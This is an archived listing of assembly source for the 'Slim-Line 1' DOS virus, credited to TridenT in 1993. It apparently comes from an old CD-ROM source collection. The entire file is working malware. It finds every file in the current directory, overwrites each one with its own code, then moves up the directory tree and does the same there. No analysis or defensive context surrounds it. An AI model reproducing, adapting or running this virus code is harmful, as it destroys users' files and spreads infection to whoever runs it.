home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / SLIM1.ASM < prev    next >
Assembly Source File  |  1995-05-23  |  2KB  |  52 lines

  1. ;
  2. ; The Slim-Line 1 virus, from the Slim-line virus strain.
  3. ; (C) 1993 by [DαRkRαY]/TridenT
  4. ;
  5. ; This one's a dumb overwriting virus, as small as possible,
  6. ; return to DOS and work with all dos versions. (no SI=100h tricks ect.)
  7. ;
  8.  
  9. _CODE   SEGMENT
  10.         ASSUME  CS:_CODE, DS:_CODE, ES:_CODE
  11.         ORG     100h
  12.  
  13. FIRST:
  14.         DB      "*.*", 000h                     ; Infect ALL files..
  15.         MOV     AH,4Eh                          ; Find first...
  16.         XOR     CX,CX                           ; No attributes.
  17. AGAIN:
  18.         MOV     DX,100h                         ; String from 100h
  19.         PUSH    DX                              ; Save 100h for later.
  20.         INT     21h                             ; Find it!
  21.         JC      DIR_HIGHER                      ; Not found???
  22.  
  23.         MOV     AX,3D01h                        ; Open it...
  24.         MOV     DX,9Eh                          ; Yeah, THAT file!
  25.         INT     21h                             ; I said NOW!
  26.         XCHG    AX,BX                           ; Put handle in BX...
  27.  
  28.         MOV     AH,40h                          ; Infect it.
  29.         MOV     CL,(LAST-FIRST)                 ; Thats how big I am...
  30.         POP     DX                              ; Save it, ya remember...
  31.         INT     21h                             ; Go get it!
  32.  
  33.         MOV     AH,3Eh                          ; Party is over,
  34.         INT     21h                             ; close it..
  35.  
  36.         MOV     AH,4Fh                          ; Who's next!
  37.         JMP     AGAIN
  38.  
  39.         CHD     DB      "..", 000h              ; Dir higher 8^]
  40. DIR_HIGHER:
  41.         MOV     AH,3Bh                          ; Change dir.
  42.         POP     DX                              ; Don't mess with stack...
  43.         MOV     DX,OFFSET CHD                   ; Dir higher...
  44.         INT     21h                             ; Ok...
  45.         JNC     FIRST                           ; Root??
  46. EXIT:
  47.         RET                                     ; Then exit..
  48. LAST:
  49.  
  50. _CODE   ENDS
  51.         END     FIRST
  52.